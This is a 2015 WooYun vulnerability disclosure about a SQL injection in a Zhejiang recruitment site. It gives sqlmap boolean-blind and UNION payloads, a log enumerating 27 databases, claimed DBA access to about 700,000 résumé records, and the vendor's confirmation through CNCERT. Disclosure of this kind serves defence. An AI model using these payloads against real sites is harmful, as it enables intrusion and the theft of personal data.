当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0143737

漏洞标题：邀我吧浙江人才注入漏洞一枚，70W敏感数据（DBA权限）

相关厂商：邀我吧网

漏洞作者： 路人甲

提交时间：2015-10-06 21:56

修复时间：2015-11-26 11:12

公开时间：2015-11-26 11:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-06： 细节已通知厂商并且等待厂商处理中
2015-10-12： 厂商已经确认，细节仅向厂商公开
2015-10-22： 细节向核心白帽子及相关领域专家公开
2015-11-01： 细节向普通白帽子公开
2015-11-11： 细节向实习白帽子公开
2015-11-26： 细节向公众公开

简要描述：

邀我吧
创立之初就立志成为“政府就业再就业工程配套工程”的邀我吧，既是中国电信“面视通”的网络招聘运营支撑平台，同时也是政府部门、院校、企业、人才市场、人才网站、人才服务机构、人才等各方合作共建的就业服务大平台。该平台除了为人力资源各方提供网络功能服务，还帮助平台合作建设单位各取所需，互惠互利，确保人力资源各方高效精确对接。
目前，该平台面向所有中国电信“面视通”用户免费开放网络招聘功能，并源源不断提供各类不同层次的人才资源信息，包括社会人才信息、研究生等高等人才信息、应届毕业生信息，以满足面视通用户招聘的需要。
邀我吧开办以来，已成为社会各界信息互通、互动交流、资源共享的大平台，是社会各方齐心协力合作建设的“网络梧桐树”。

详细说明：

注入点：
http://**.**.**.**/do/tools/student.html?id=100000000361661

漏洞证明：

注入参数：id 

arameter: id (GET)
   Type: boolean-based blind
   Title: AND boolean-based blind - WHERE or HAVING clause
   Payload: id=100000000361661 AND 2180=2180
   Type: UNION query
   Title: MySQL UNION query (86) - 43 columns
   Payload: id=-8658 UNION ALL SELECT 86,86,86,86,86,86,86,86,86,86,86,86,86,86
86,86,86,86,86,86,86,86,86,86,86,86,86,CONCAT(0x71626a6b71,0x467677534251547a4d
1,0x7178716b71),86,86,86,86,86,86,86,86,86,86,86,86,86,86,86#
--
23:00:10] [INFO] testing MySQL
23:00:11] [INFO] confirming MySQL
23:00:15] [INFO] the back-end DBMS is MySQL
eb server operating system: Windows
eb application technology: PHP 5.2.6, Apache 2.2.8
ack-end DBMS: MySQL >= 5.0.0
23:00:15] [INFO] fetching database names
23:00:18] [INFO] the SQL query used returns 28 entries
23:00:20] [INFO] retrieved: information_schema
23:00:21] [INFO] retrieved: 1111
23:00:23] [INFO] retrieved: bbs
23:00:25] [INFO] retrieved: hydb
23:00:26] [INFO] retrieved: job158
23:00:28] [INFO] retrieved: job158new
23:00:36] [INFO] retrieved: jxrc
23:00:37] [INFO] retrieved: ltt
23:00:38] [INFO] retrieved: mqdb
23:00:40] [INFO] retrieved: mqdjtdb
23:00:41] [INFO] retrieved: mst
23:00:42] [INFO] retrieved: mysql
23:00:43] [INFO] retrieved: mysql2
23:00:45] [INFO] retrieved: performance_schema1
23:00:46] [INFO] retrieved: phpmyadmin
23:00:47] [INFO] retrieved: qztdb
23:00:48] [INFO] retrieved: rztdb
23:00:50] [INFO] retrieved: rztdb_2012
23:00:51] [INFO] retrieved: sync_db
23:00:55] [INFO] retrieved: test
23:00:56] [INFO] retrieved: test1
23:00:59] [INFO] retrieved: work
23:01:01] [INFO] retrieved: yw30
23:01:02] [INFO] retrieved: zjetpdb
23:01:03] [INFO] retrieved: zjwgydb
23:01:05] [INFO] retrieved: zyjlrxhdb
23:01:09] [INFO] retrieved: #mysql50#
23:01:14] [INFO] retrieved: #mysql50#
vailable databases [27]:
*] #mysql50#
*] 1111
*] bbs
*] hydb
*] information_schema
*] job158
*] job158new
*] jxrc
*] ltt
*] mqdb
*] mqdjtdb
*] mst
*] mysql
*] mysql2
*] performance_schema1
*] phpmyadmin
*] qztdb
*] rztdb
*] rztdb_2012
*] sync_db
*] test
*] test1
*] work
*] yw30
*] zjetpdb
*] zjwgydb
*] zyjlrxhdb


27个数据库！

job158库.png


dba权限：

job158dba权限.png


job158new数据库：

job158new_27万数据.png


job158数据库：

job158_23万数据.png


work数据库：

work_22万数据.png


合计70多万条数据
点到为止

修复方案：

人才网，简历泄露不太好哦

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-10-12 11:11

厂商回复：

CNVD确认所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置.

最新状态：

暂无